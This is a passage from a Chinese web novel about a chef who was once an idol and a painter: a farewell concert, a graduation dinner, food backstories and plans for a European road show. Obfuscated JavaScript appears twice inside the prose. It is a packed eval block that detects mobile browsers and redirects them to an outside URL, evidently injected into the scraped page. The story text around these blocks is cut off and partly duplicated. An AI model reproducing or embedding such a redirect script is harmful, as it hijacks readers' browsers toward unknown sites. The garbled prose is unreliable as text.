歌曲结束时，隔壁的姑娘小心翼翼地戳戳他。听不懂中文歌词，因为问他知不知道是什么意思。 我可以稍微任性一点，齐新雨想。 蒋醉余手腕上那对袖扣闪着朦胧的光，不是很名贵的材料，但是他去同学的珠宝工作室体验的时候亲手做的。 宝石雕刻的技术有点难，齐新雨还做不出太复杂的设计，选了一对猫眼碧玺，对着镜子勾勒出自己瞳孔的纹路，磨砂面的雕刻层折射不规则光斑。 他回给邻座女生一个腼腆的笑，吐出两个单词：“Love story. ” 一个关于遇见你之后，世界才有了秩序和色彩的爱情故事；一场终会有回应的彷徨。 对方似懂非懂点点头：“原来告别舞台是为了回归家庭……听这个音乐风格，一定是一对很静谧隽永的爱人。” 最后一首歌又回归了男团节奏感强烈的唱跳风格。散场的时候，齐新雨跟在她后面走出去。 伦敦分队贯彻整间公司的公演习惯，出口两端站着刚下了舞台的艺人们，观众们可以和他们一一击掌、在偶像的目送下离去。 齐新雨听到身前女生很兴奋地对蒋醉余说，谢谢你分享你的爱情故事。 工作人员督促他们不要逗留、径直离开，蒋醉余伸出手，把齐新雨拉到自己身前。 于是他像一小块伸进河水里的溪岸，被川流——倒也没那么多人——的观众们绕开，堪称岿然不动地站在蒋醉余身前。 不会是猜到我对那个女生说了什么吧。他心虚地转转眼睛。 这个距离太近了，能看到亮晶晶的眼妆。 蒋醉余深吸口气，仿佛下定了什么决心，歪头眨眨单眼，伸出双手比了三种姿势不同的心。 整套动作一气呵成，脸上却严肃得像在汇报演讲，然后又恢复成了安静挥手说拜拜的状态。 顶着这张剑眉星目眉压眼的正气脸，很有点老干部卖乖的诡异萌感。 齐新雨惦记着他“等我”的口型，迷迷糊糊地回到人潮的河里。 他找了条小路，绕到剧场后门。蒋醉余守着开门放他进来。 当真碰面了，他又有点不好意思，不等齐新雨询问就兀自开口解释： “以前散场的时候没有特意注意过你，以后都没机会了，把可能遇到的饭撒都给你补一遍。” 齐新雨坐在一边，托着下巴看他：“蒋先生，好可爱……” 收拾好后台和个人物品，队友邀请他们一起去吃火锅，〇底捞多一个人多一份热闹。 “不用了，”蒋醉余笑了笑，“还是后会无期吧。” 他把钥匙和工卡交给新任队长，拉起欲言又止的齐新雨。 “你会不会觉得我有点太无情了。”蒋醉余问，只字不提他的歌词。 齐新雨愤慨：“不会啊，我还想说反正也不会再见面了，要不骂两句吧。” 蒋醉余失笑：“那倒不至于，我已经不在意他们了。” 经历得多了，看过去的风霜都像雾里看花，经年寒冰也不显得那么凛冽。 他现在回想在团里的时光，都隔着黄粱大梦和《美食之王》两层屏障，几乎已经无法再被引发多么浓烈的感情。 齐新雨在叫车，蒋醉余挑了张刚刚演出结束的全场大合照和自己拿着话筒的手部照片，作为自己国内男团账号的最后一条博文。 他把帐号发给公司经纪人。有齐家律师的帮助，退团手续走得相当顺畅，公司生怕他找到什么由头告自己违约。 对于下一项计划，作为自己厨艺比赛生涯的终末，他准备了一套展现自己最高技艺的菜单，请网友来吃晚饭。 现在是五月底，晚餐的时间选了英国学生普遍放假的六月中上旬，时间还算宽裕。 地点则经由齐新雨牵线，定在公园湖边那对老夫妻的餐厅里。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775120|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽菲尔，这是我们最后一次通融你们两个哦。”那位老夫人笑眯眯状似威胁地说。 “下次你给再多也不行。” 他们规划了七十五个名额，分成两周四顿一共八桌饭。宣传推文一出，不管有没有退赛的选手都转发起来。 参加抽奖的要求很简单，只有三条。 支持一个中国，提交一份健康的体检报告，并接受传统中餐不分餐、不按前菜主菜划分的就餐方式。 齐新雨表现出语言和行动上的双重支持。 他把看着自己长大的管家和家里的航线“借”给了蒋醉余，用来采购最符合要求的食材。 每一位留学生都对西方国家的腥膻的“骚猪”深恶痛绝，蒋醉余并没有人工给自己增加难度的打算。 洛伦佐暗戳戳跑过来要黑箱名额，被蒋醉余连他带其他选手一起，捉到后厨给自己打工。 这顿饭名义上是蒋醉余从《美食之王》的“毕业”餐，实际上后厨汇聚了退赛的全部六位十强选手，还有推掉工作闲来无事的夏洛特在旁边提建议。 主厨女士的经纪人很痛心：你要是早说人气选手这么齐，我一定要联系个影视公司来拍几集短纪录片。 “现在联系也不晚。”蒋醉余推给她一个邮箱。 “我和我们国内的一家发行公司正在商量筹备我个人的美食公路节目，这段可以做个先导片。” 虽然设计菜单的阶段拍不到了，但状况百出的后厨同样很有节目效果。 蒋醉余图吉利，加上果盘给每桌规划了十八道菜。 “好像很多中餐馆老板都喜欢八这个数字，说它的读音和变有钱什么的很类似。”伊薇特沉思。 蒋醉余磨着刀给她解释：“我倒不是出于这个想法。” 十八等于九加九。比起长发其祥，他更贪图长长久久：要做绵长的细雨，不要变成青春里天降的瓢泼的水。 这两种雨在英国都很常见，日复一日洗刷人间，把树叶涂成熟透的深绿。 直到蒋醉余摄制团队办好签证抵达，《美食之王》也没有恢复录制，仿佛就要这样夭折下去。 他手指拂过围裙胸前的图案，齐新雨又给他画了一套新的，是一只猫和一条鳐鱼尾巴交缠的样子。齐新雨说那条鱼是他，蒋醉余想不明白。 他拍拍手，拉回自己帮厨们的注意力。客人们已经兴致勃勃弟看了半天菜单，筹备已久的晚宴马上启菜。 菜里藏着故事，等待有缘人将其发觉探寻，却等了四顿晚饭都迟迟没有等来。 四次宴饮被合成了一期节目，几个小时长的下饭综艺。 延时摄影清晰地记录下众人摆台的过程：蒋醉余每次都要比预定人数多留一人的位置，然后等到下午再独自把它撤走。 他知道齐新雨今年毕业，应该会相当忙碌，却没想到对方能忙成这个样子。 算上他练舞准备舞台和组织四桌饭，近一个月的时间里，两个人几乎没碰过面。齐新雨连饭都不要他做了！ 蒋醉余在餐厅留给他的位置，他一次都没能赶来。 直到最后一天宾客都走光了，帮忙的朋友们也一一告辞，他一个人在餐厅做最后的收尾工作，门口风铃才轻轻响起来。 专车长驱直入公园，齐新雨背着大书包，抱着画筒和电脑，急匆匆地走进来。他还穿着西装，很疲惫的样子。 “蒋先生，今天我毕业了。”他说。 “我们一起毕业啦。” 44. 醉鱼草奶黄包 身处异国他乡耳濡目染之下，蒋醉余自认对英国高校的时间安排多少有一点了解。硕士生们大多七月提交毕业论文，九月才毕业，是完整的一年学制。 他没太反应过来，有些困惑地看着齐新雨。 齐新雨点点头：“我申请提前毕业啦，今天刚结束答辩。” 他把身上的东西卸下来，从大书包提掏出一份包裹严实的画来，上面呆着蒋醉余、或者说每个中国人都很熟悉的笔触。 “自从认识你，我就很好奇，”齐新雨说，“我开始好奇那片承载了我一半血脉和蒋先生全部过往的大地。” 但在信息爆炸的时代，想要在浩如烟海的文章中获取真相有时候是件艰难的事情。 “我不懂饮食，不会从你展现的厨艺技法上推演出孕育它的文化背景，所以我联系上了一位来我们学校访问的中国教师。” 那位老师主攻的方向是写意，将国画对意境的追求展现得淋漓尽致。 空间被压缩，而时间在此延展。齐新雨一贯擅长的氛围和它很契合，把毕业作品也定为了与之相关的主题：将油画与写意融合在一起。 毕竟几乎是从零开始学习，他几乎是废寝忘食地练习、追了半个校园和老师请教。 他说不清自己为什么如此迫切。蒋醉余说他的第三个计划是陪自己毕业，齐新雨当时很想问，那之后呢？ 你会走吗？ 既然已经离开了娱乐公司，在英国的工作签证也就没了效力。是不是等到自己毕了业，蒋醉余就要离开了？ 他雇了一位新的经理人，帮着自己整理过去的作品，在对方质疑的眼神中说：“我要去中国。” 拜优异的成绩和切实存在的特权所赐，他顺利申请到了提前毕业的资格，泡在图书馆写完艺术学课程的论文。 他邀请那位访问学者来他的毕业答辩坐镇，对方欣然答应，却提醒他，自己回国的时间比齐新雨想象中更早。 于是齐新雨几乎住在了学校。 第一顿晚宴开始的那天，他在准备作品。 第四顿晚宴结束的那天，或者说今天，直到凌晨他才确认完成了全部内容。他跑了一白天手续，教授大开方便之门，紧赶慢赶地在当天晚上画下了这个句号。 答辩刚一结束，中国老师坐上了去往希思罗机场的车，齐新雨奔赴湖边的小餐厅。 徒留他的导师在身后摸着胡子，笑得一脸八卦：“他绝对是把本科入学的时候我的建议听进去了。” “我的作品还留在学校，”齐新雨不太好意思地说，“只能先用这份没装框的习作当礼物了。 “老师给我讲了二十四节气，说是国画里很常见的题材。我觉得很浪漫。” 比起状物他毕竟更喜欢摹人。他看了老师分享给他的很多作品和资料，看到人们顺应时节生活，按部就班成长、然后苍老。 “我没有立场评价他们，我只是作为一个城市人的视角，觉得这样天人协同的步调像童话一样浪漫。” 摆在蒋醉余面前的这一副是芒种主题，生机勃勃、万物竞发，像智人迎来一生中最滚烫的青春年纪。 齐新雨的画法还是以油画为主体，唯有枝头摇摇欲坠的梅与杏交由水墨勾勒。 树下的油画人物望着它们，神色间跃动着欣喜，像跨越岁月长河听到千百年前“投我以木瓜”“摽有梅”的歌声。 是青涩又意味深长；梅子还在那里，人类已经繁衍了无数代。 也许齐新雨并没有想那么多，蒋醉余告诉自己。 他能找到很多理由，比如齐新雨没有在中华文化中浸淫二十年、他大概不明白这些水果的意象，比如一年里灼热鲜活的节气没有那么多可选…… 但心跳很大声地强调：当巧合到了极点，又何尝不是一种心有灵犀的缘分呢？ 蒋醉余轻轻向前迈了一步。 “小齐，”他说，“我可以抱你一下吗？” 齐新雨仰着头看他，张开手臂、闭上眼睛，收到一个轻盈珍重的拥抱。 他把头埋到蒋醉余身上，紧绷的精神终于放松下来，被熨帖得软和甜蜜，仿佛干瘪的胃都要咕噜噜地往外冒爆米花味泡泡。 “我真的很幸运……”蒋醉余平复好心情，把桌上留下的菜单递给他，“你还没吃饭吧，看看对哪个感兴趣，食材都还有剩。” 多准备的椅子被撤走了，但他今天固执地多准备了一人份的菜，终于在即将放弃的时候等来了想见的人。 齐新雨一眼就盯上了其中两道菜：“它们看起来和别的不太搭诶，是有什么特殊的吗？” 蒋醉余双手撑住椅背，俯下身来看，喉口挤出一声似笑似叹的气音。“你真是，”他摇摇头，“算上夏洛特他们和食客，八十二个人都没好奇的‘彩蛋’。” “果然是被你认出来了。” 蒋醉余端了两杯柠檬水过来：“故事很长。” 齐新雨秒答：“我不喝酒。” ……到也不是那个意思。 “我是说，你愿意到后厨来听吗？”蒋醉余居心叵测地卖惨，“以前我们还没这么忙的时候，你经常陪我一起做饭的。” 齐新雨腾地站了起来。 自家人吃饭没那么多上菜顺序的讲究，蒋醉余把奶黄包放进蒸箱。 菜单写得太复杂，小齐顾客最先点单的两道菜，简而言之一个是奶黄包、一个是鸡汤面。 鸡汤面精挑细选地汲取了开水白菜、芙蓉鸡片两道国宴菜的精华，汤是川菜中最著名的清汤，鸡是鲁菜中清淡滑嫩的鸡肉，论难易程度都是噩梦级别。 好在清鸡汤和面条都已提前备好，肉糜扫汤的手艺他很熟悉，早在做菊花豆腐的时候就已经表演过。 需要现场制作的只有最复杂的鸡片。 取鸡腿肉和一小块多宝鱼，把表面的筋膜和块状鸡油全部去掉，用刀背把肉压碎，挑出藏在内部的肉筋。这一步需要十分精细，确保整理出来的肉里没有一点“杂质”。 他把鸡肉拢到一处，剁成细腻丝滑的肉泥，平坦的刀面轻轻一压就可以拉出一条薄片，木质案板的底纹清晰可见。 借此，躲藏在肉泥中的肉筋也都被一一抓住，因为它们往往没有鸡肉那么松软，还保持着没有完全切碎的丝状或条状姿态。 他甚至还找了一只孔洞极细的筛网，确保自己的材料足够绵密细腻。 这一步差不多完成的时候，定时蒸箱不甘寂寞地叫起来。奶黄包已经可以出炉。 齐新雨制止了大厨想要给自己摆盘的动作，突然有些理解了那些宾客为什么发现不了彩蛋、没觉得奶黄包在其中“朴素”得别具一格。 它实在称不上朴素。 这完全是一份白案象形作品的炫技之作。 制作象形面点的时候，人们大多喜欢选择酥皮或“死面”点心，因为奶黄包这样使用发面外皮的食物，往往会在蒸笼中持续发酵，导致形状膨胀。 蒋醉余甚至考虑到了这一点：在不影响发面松软程度的前提下，确保最终成品的形状。 大概只有对时间和酵母状态拥有极度掌控的人，才会自负地产生这样的想法。 开口奶黄包被做成了醉鱼草开花的样子。 这个属的植物都是细长的花朵长成紫藤似的一穗，每朵花都有点像是少了喇叭口的牵牛花，被做得可以轻易从枝上揪下来。 不过成年人拇指般大小的花朵馒头内有乾坤。 一片一片剥开相对纤薄的花瓣、扒掉一根根花蕊，奶黄馅料就藏在长长的下半截花冠中，一口咬下去甚至有些爆浆的效果。 按照蒋醉余的建议，这个点心就应该像嗑瓜子一样，在聊天的时候随手“摘”一朵，潇洒地扔进嘴里。 但是他的食客们都觉得这样做是在暴殄天物，这可是纯手工上色的啊。 齐新雨也不例外。 “怎么样？”蒋醉余问。 齐新雨正忙着嚼嚼嚼，没法说话，问言忙不迭大幅度点头，很努力地把馒头咽下去：“好吃的！甜而不腻，奶味很重。” 他歪歪头：“不过蒋先生什么时候对自己的菜这么不自信啦。” 蒋醉余摸摸馒头光滑的表皮：“如果你前阵子问我，我会说因为是做给你吃；不过今天我更想坦白另一个原因。 “我没有尝过自己做的奶黄包。” 所以有些客人会觉得这个味道好像太“经典”了，因为他的的确确没有在调味上做任何的修改。 ——距离他最后一次吃奶黄包，好像已经是十年过去了。 蒋醉余一直知道自己的名字听起来有点奇怪。通常情况下，没有人会想到给孩子的名字里带上“醉”这样的字眼。 他就是那个不通常情 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医生姓黄，最开始孤儿院的孩子都喊她小黄姐姐，后来逐渐变成新来的孩子口中的“黄阿姨”。 每次来的时候她都会给孩子们发苹果，又把蒋醉余叫到一边给他塞两只奶黄包。 面对十五岁小蒋“这样特殊待遇会不会不太好”的疑问，她振振有词： “你连名字都是我给起的，要不是我只比你大了不到三十岁，不符合领养要求，你现在说不定应该喊我‘妈’。” 蒋醉余其实有点开心。 再后来，黄阿姨没有出现。 蒋醉余拿着中考一模的成绩单，第一次冲动地跑到医院想要给黄医生展示，却当场撞见她被同事们抬进抢救室。 明明签了知情同意书，却又在手术失败后记恨上医院和医生。 医闹、大出血、情况危险。 又是大出血。 年幼的他根本处理不了那么多震撼的信息，别人口中说出的种种情况，都不留痕迹地从脑中滑过。 只有这三个关键词久久盘旋，不住地提醒着他：“你彻底没有亲人了。” 他想起黄医生说她父亲是个永不空军的钓鱼佬，虽然人菜但是瘾大，还在家里种了一大片郁郁葱葱的醉鱼草，期待着自己什么时候能钓上一条大鱼回家。 所以被科室的前辈赋予了光荣的起名任务时，黄医生第一反应就是“醉余”。 醉鱼草这种植物适应性极强，鲜少受到病虫侵害，栽培和养护都比较容易，只需一点阳光雨露就能茁壮生长。 作为中药材的醉鱼草还能外用，治疗创伤出血。 名姓也许的确是最简短的咒语。 蒋醉余一路无伤无病地长到十几岁，彼时虽然经济条件不好也不爱和人交流，但依然满心期待着自己的未来前程，整个人蓬勃得像一棵幼嫩的松。 可自己和黄医生似乎都忘记了，醉鱼草之所以叫这个名字，是因为它含有轻微的毒性。 这毒对人类来说无伤大雅，但碾碎投入河中能让鱼群被麻醉，因此成为钓捕鱼人的榜首。 这个名字，这株顽强、全株微毒、可治外出血的植物，让他的生命坚韧不屈，也像是一种孤独的诅咒，引着大出血降临在他每一位长辈的身上。 蒋醉余抱着书包坐在抢救室门口的椅子上，走廊上医护人员来来往往地忙碌着，身边一个个陌生的家庭到来又离开。 过了不知道多久，黄医生终于被推了出来。她陷入了植物人状态，不知何时能够苏醒。 “也许三五天，也许三五年，也许三五十年，大脑的领域太精细太复杂，这是谁也说不准的事情。”有眼熟的医生对他说。 医院承担了她的一应医疗费用，不会给家庭带来更多负担。从那时起，蒋醉余放学后又多出一个新去处，每天都到黄医生病房里待一会。 他不像别的家属喜欢对着无知无觉的病人碎碎念，就只是安静地坐着。 医院通知了她的父母，没过两天蒋醉余就碰见两名老人相互搀扶着走进病房。 那是他第一次见到别人家父母看待孩子的眼神，才知道原来一双眼睛里表达的情绪可以那么浓墨重彩。 蒋醉余从此再也没吃过奶黄包。 45. 奶白的雪子们 齐新雨轻轻吸了口气。 “她一定会醒来的。”他说着，轻轻捉住蒋醉余的手。 齐新雨的手是温热的，侧面有一点常年握笔留下的茧子，又被护手霜反复软化。 但蒋醉余在厨房里做事，总是频繁地需要洗手。那双手被英国冷热分流的水管浸得冰凉，还残留着隐约的湿意。 齐新雨莫名地想起他们在惠特比心照不宣扣住手的那个下午，蒋醉余帮他举着足有三个球的冰淇淋盒子，手也是这样凉凉的。 “现在她现在状态已经变好了，”最后反倒是蒋醉余来安慰他，“我在团里和这边都挣了钱，能支持她用最好的治疗方案，医院对她也很尽心。” 齐新雨一边点头，一遍琢磨着怎么能合情合理地把自家医院的医生送过去看看病。 “蒋先生知道这个奶黄包给我的感觉吗？”齐新雨说。 它是那种令人安心的奶香甜蜜。想要惊世绝艳的美食不会想到它，寻求抚慰治愈的时候却绝对第一个浮现在脑海中。 “就像一种粉橘色调，像西柚或者朝霞的颜色，一切都恰到好处。” 它承载着制作者最放松活泼的一段年岁，也把彼时彼刻的欢欣毫无保留地传递给食客。 这段话描述得很抽象，蒋醉余却跟着微笑起来。 他有时候会觉得齐新雨适合当幼师，语气语调自带一股引人身临其境的安静氛围感。 饶是蒋醉余这样自认为相当现实、没什么想象力的人，也很难不被他口中的画面所吸引。 说这份奶黄包能给人带来安谧，对他来说实在是最向往得到的评价了。 蒋醉余看了看时间，清鸡汤已经加热得差不多了，便揭开锅盖。 原先被牢牢锁在锅内的香味和温度喷涌而出，与相对较冷的空气碰撞成氤氲水雾。 等到热气稍微散开，浅黄色的鸡汤就呈现在了两人眼前。它仿佛是品质最好的水晶，一眼望去就能完全望个通透，找不到一丁点瑕疵所在。 汤品香气复杂，只因炖煮时甚至被加入了一块肘子提味。 蒋醉余在先前的混合肉泥里加入鸡蛋和浓稠的水淀粉，搅打上劲。 这里所用的淀粉水必须是土豆淀粉，方能保证炸出来的鸡肉呈现纯净的白色，其他玉米淀粉、红薯淀粉等做出来的成品都会偏黄。 水分被紧紧锁在肉里，等到煮熟品尝的时候，就会给人以滑嫩多汁的口感。 锅中分两次倒油润锅，当它升高到合适的温度，干净的木筷子插进去会开始冒小泡，就可以把肉糊从锅底慢慢铺开。 不必翻动油锅，只等着肉慢慢变熟浮起，便能保持下锅时一大片的形状。 与此同时，油温也不能过高，否则就做不出漂亮光滑的鸡肉片，而会变成坑坑洼洼的蜂窝状。 所以当一片鸡肉炸好，随着时间的流逝和炉火的不断加热，锅里的油温必然会升高，需要静候到油温回落再炸下一片。 这是一个相当考验耐心和时间把控的工作。 蒋醉余抽空在一旁另起炉灶煮了面条，眼睛还紧盯着油锅。若是多炸一会，鸡肉就会上色太过，失去清淡的外观。 毕竟这道菜虽然用到了油炸的手法，却并不追求脂肪带来的满足感，反而想要达成由内而外清新轻盈的感觉。 把雪白的鸡片一起放进清水里漂洗，洗去表面的浮油，肉的部分终于算是完成了。 他在空碗里打了个鸡蛋，邀请齐新雨用筷子轻轻在蛋黄上戳一个洞。 滚烫沸腾的鸡汤冲入碗中，迅速使蛋白定型，然后把带着龙须面的鸡汤从筷子洞轻轻倒入。 汤面就像酿豆腐一样把鸡蛋撑得开，却因为外层蛋白已经固定而不会破陋，圆滚滚地躺在空碗中。 这是第三个高难度的中餐技法，是专供给齐新雨一人的厨房表演。 被邀请来的七十五位客人甚至都没吃上，他们的鸡汤面里放的是圆滚滚的荷包蛋。 在齐新雨相当捧场的连声惊呼中，蒋醉余把雪白的鸡片和用鸡汤蒸熟的娃娃菜在周围摆了一圈。 整碗面就像是一朵长着硕大莲蓬的荷花，在水中轻轻荡漾。 蒋醉余很讲礼貌地指指鸡汤面：“厨师特供款，仅此一份，请用餐。” 食客非常配合地“哇”出声。 齐新雨三百六十度拍了一圈，在厨师大人“再不吃要泡涨了”的催促中，依依不舍地伸出筷子。 鸡片表面光滑细腻，吃起来和外观一样的绵软弹嫩，还因为其中少量鱼肉的存在而多了几分水产的鲜香。 娃娃菜味道清甜；鸡蛋被时间和温度一同催熟，滑嫩得出奇，在鸡汤的滋润哺育下沾染上浓浓的肉香。 齐新雨按照厨师先生的指导，取为数不多粘了边缘未凝固蛋黄的面条，和鸡蛋、鸡片和娃娃菜一同放入口中。 面条和青菜是柔软中带着韧劲，蛋黄和鸡片则是入口即化般的细腻绵密。 但比起原本清淡鲜甜的汤面，一点蛋黄的加入使整口食物都变得醇厚起来。它把其它食材都拢到自己的怀抱中，更增几分丝滑。 “只有我能吃到，也太可惜了。”齐新雨有点遗憾。 菜单上对这道主食只是简简单单写了几个字“鸡汤面”，根本不足以概括它背后奠基的两大国宴菜思路，现在甚至冒出了没在人前表现的隐藏手法。 明明按照其它菜品的命名习惯，为了防止误伤到什么都有可能过敏的西方宾客们、顺便展现烹饪技法的多样性，各类技法和食材都标得一清二楚。 比如奶黄包虽然外观精巧，但起个“造型奶黄包”的名字毕竟妥帖。 鸡汤面在其中显得格外“鸡立鹤群”。 齐新雨很自然地猜测：“它也有故事吗？” 蒋醉余点点头。 餐厅的灯光很漂亮，店主夫妇精挑细选的装饰灯流光溢彩，只有情人节等重要节日或有顾客在此定情才会打开。 齐新雨摸摸鼻尖，有一点光晕打在那里，在他视野底端飘飘忽忽地发亮：“那……我有这个荣幸了解吗？” 从旁观角度看，那片光像霓虹碎片洒在他脸上。 蒋醉余感觉自己心跳静止了一拍。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775122|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他定定神，讲了个冷笑话：“这道菜的背后是，我本来想管它叫‘用植物尸油加工动物尸体和动物的孩子、搭配植物骨灰制成的菜’，但是夏洛特他们不同意。” 齐新雨原本拨弄着自己衣服上的穗穗，闻言慢慢睁大眼睛：“酷诶。” 蒋醉余一句“开玩笑的”卡在口中，突然笑了。 “关于鸡汤面的故事，如果你想听，那我就想讲。” 故事比奶黄包更久远一点，要把时间转回到蒋醉余还在福利院的时候。 出于成本考虑，它自然不会建立在什么繁华地界。走出去不远就是农田，把稻田里的鸭子和拖拉机上的牛背鹭掺进蒋醉余的童年。 那时候，每到芒种之类农忙的日子，院长奶奶都喜欢带着他们去给乡邻帮忙。 小孩子干不了什么活，起初不过是在旁边搭把手，却总要被大人塞上好多好多礼物。 蛋黄几乎有些发红的土鸡蛋、被连月烟火熏出复杂风味的火腿、新鲜挖出还带着淤泥的红藕，一同组成了他对美食的最初印象。 从田里回来的晚饭很固定，就是鸡汤面。 因为院长奶奶总要说，让他们把汤喝完、发发汗洗个澡，回去做个浅碧深黄的沉甸甸的梦。 切几片火腿，老母鸡炖出金黄的鸡汤，里面下一把细细的银丝挂面，然后烫上两颗翠绿的小青菜，每人还能分到一只荷包蛋。 荷包蛋是实心的，怕孩子们吃了不舒服。只有蒋醉余曾经吃到过溏心蛋，是在他长大一点后作为帮厨给自己偷偷昧下的。 也许是因为累了一天才显得格外美味，也许是因为热汤实在熨帖；蒋醉余很俗套地将记忆里的味道奉为珍宝。 所以在计划菜单时，这是他第一道确定的主食。 蒋醉余喝了口柠檬气泡水，任凭二氧化碳泡泡在舌尖争先恐后地炸开。 “所以小齐，你知道吗，当你告诉我你要送我一副以芒种为题材的画，我的脑子里只剩下三个字：太巧了。” 是要叩谢多少遍命运和因缘，才能把一切际遇陈列得恰到好处—— 恰巧数年前你在舞台下望向人群中的我，恰巧数月前我打开《美食之王》的官网、用钥匙拧开你的家门，恰巧数天前我们看见同样的世界、满抱相似的心情。 齐新雨珍重地喝完了最后一口汤。 因为客人已经离开，餐厅冷气没有开很大。 热汤的暖流像攀上脊柱，向着全身蔓延。齐新雨被捂在其中，脸上泛起红意，拎起oversize的T恤领口轻轻抖了抖。 这衣服走的可能是褴褛风，刻意在肩头后腰之类的地方划开些口子，皮肉从缝隙里花枝招展地露出来。 以前在团里的时候有队员谈恋爱，蒋醉余想，好像随意干涉对方穿衣风格是大忌。他楼下宿舍有一对为此都打起来了。 ……但是真的不能让齐新雨以后少穿这件衣服吗！ 他知道齐新雨是混血，白种人天生容易把血液颜色透出来，心情一激荡就上脸；但从没想过他这么白。 粉白的，哪里都是。 46. 英国最后一夜 齐新雨不像一些嘴上说着喜欢创作、实际三天打鱼两天晒网的网文作者。 虽然前一天才结束了自己的毕业答辩，他依然保持着心有所感或无事可做都画上两笔的良好习惯。 他把刚完成的作品扫描，发到网上。 他现在登录的不是“西风太太”的账号，而是是作为新锐画家“泽菲尔”的身份。 这个号大多数时候是经理人替他打理，发一些作品和拍卖通知之类。 不过团队最近忙着帮他整理东西，齐新雨干脆自己来发新作。 新油画尺寸不大，是偏抽象的风格。 齐新雨只用一白天就迅速地画完了它，甚至出门谈新综艺的蒋醉余还没回来。 色调明媚的新作品配了个标题：《用植物骨灰包裹幼年动物和尸油的高温高湿处理》。 齐新雨看着它成功发布，便准备退出。这个号一般没什么值得他关注的回复…… 至少以前是这样。 他看着火速99+的消息通知，缓缓眨了眨眼。 自己也没切错号啊，哪来这么多人关注他一个还有好多年可活的年轻画家。 网友们欢天喜地地在评论区抢前排，其中一半在夸他，另一半在问他蒋醉余未来有什么安排。 齐新雨研究半天，终于搞明白发生了什么。 在他和蒋醉余各自忙碌的时候，《美食之王》强撑着放出了已经录制完毕的第四、五集。他们试图靠“社会新闻”热度的播放量再骗来个新的投资商，但没能实现。 很巧的是，这正是在齐新雨学校里举办的餐车大赛和婚礼甜品台的两期，齐新雨在其中都有出镜。 有句流传很广的话，说爱意是三样无法隐藏的事物之一。摄像头注视着他们，记录下他们一同做饭时不言自明的默契，记录下他们分别时各自凝望对方背影的身形。 随着节目播出，一夜之间发芽的cp粉们满怀斗志，在各种物料的边边角角找到他的痕迹。 从全民菊花豆腐的反应视频，到摄影棚里聚众吃豆乳提拉米苏；再到餐车比赛和婚礼结束后，蒋醉余两次脱离选手跟着他离开。 【感觉醉余和泽菲尔站在一起，笑的次数比其它几期节目加起来还多。】 【任谁参加综艺，拿第一名利双收的同时、还收获一个投资方家的有钱漂亮老婆……都没法不笑出来吧！】 【醉余的访谈真的嗑死我了，他说如果当初餐车比赛，薇薇安没有提出邀请她弟弟，他也一定会问能不能让泽菲尔帮他。这对一个对导演安排听之任之的话废来说多么难得啊！】 【所以有没有人知道醉余下一步计划是什么！他之前请网友吃饭的时候不是说现场有人录像吗。视频什么时候放出来啊……我不会又搞到一对没有售后的cp吧！】 “就快了，”蒋醉余把出门的包放下，“我在英国的事情已经都完成了。” 他迎着齐新雨惊诧的目光：“新综艺的签证和特批手续也都拿到了，只剩最后一项前期准备，然后就可以出发了。” ——新综艺？ 话音鼓擂似的在耳边炸开，齐新雨搜刮尽了自己忙毕设之余的记忆，也没想起来他什么时候听说过蒋醉余有这项新工作。 既然用词是“出发”，还提到了签证，大概不是在英国录制吧。他敏感地捕捉到关键词。 所以五月的时候，蒋醉余说他要陪着自己毕业，是一种颇具仪式感的道别吗？他抵死挣扎，也不过给这段缘分续上了月余。 他对蒋醉余袒露了自己对中华文明的兴趣，但是蒋醉余有没有猜到他想真正走进那片土地呢？ 如果这个时候再告诉对方自己计划去中国，会不会显得纠缠太过了。 蒋醉余是个很好说话的人，他一旦知道自己的计划，肯定会帮着张罗。但齐新雨不想当他的负担。 他勉强笑了笑：“是吗，那效率还挺快的。不知道新节目是关于什么的呀，我一定会追更的。” “是公路节目。”蒋醉余说。 “从英国飞西班牙，然后走锯齿状路线，一路北上丹麦，再南下意大利、跨海进入巴尔干半岛。 “后面的行程我们还没确定，可能要看节目的反响和长度，再决定怎么回国。” 他的语速轻快起来，一听就是已经对旅行计划相当熟悉、期待已久，连嗓音都氤氲着喜悦：”这一路上有五个目的地，都会有《美食之王》里认识的朋友等我。” 齐新雨点点头。 他还不知道自己的回国路线和交通工具，却已经铁了心要离开风雨交加的英国。 这样做也无可厚非，毕竟这片土地给他留下的大约都是痛苦不堪的记忆。 “那我……祝蒋先生一切顺利吧，”齐新雨勉强笑道，“如果有缺了什么东西或者遇到什么事情，我家在西欧都还算能帮上忙。 “要是没什么事的话，我前阵子有点太忙了，想再休息一会。蒋先生就不用多给我做晚饭啦……” 他声音很轻，每一个字都要深思熟虑，生怕一不留神带出心底什么不合时宜的字眼。话音未落刚刚起身，就被蒋醉余打断。 他声音很轻，每一个字都要深思熟虑，生怕一不留神带出心底什么不合时宜的字眼。 话音未落刚刚起身，就被蒋醉余打断。 蒋醉余对他的热心从善如流。 “小齐等一下，确实有一件事需要你帮忙，我也只能想到由你来做。” 齐新雨不敢看他：“筹备晚宴的时候，蒋先生不是存了我管家的联系方式吗。他比我靠谱多啦，找他就好啦。” 蒋醉余从包里掏出一份做满标记的欧洲地图。 他把齐新雨的手扣在地图上。画家先生的手冰得怕人，瑟缩的指尖在标记着英国的圆点上相遇。 做完这些，他却没有看地图，而是罕见地紧盯着齐新雨的眼睛。蒋醉余不常做这样很有压迫感和侵略性的动作。 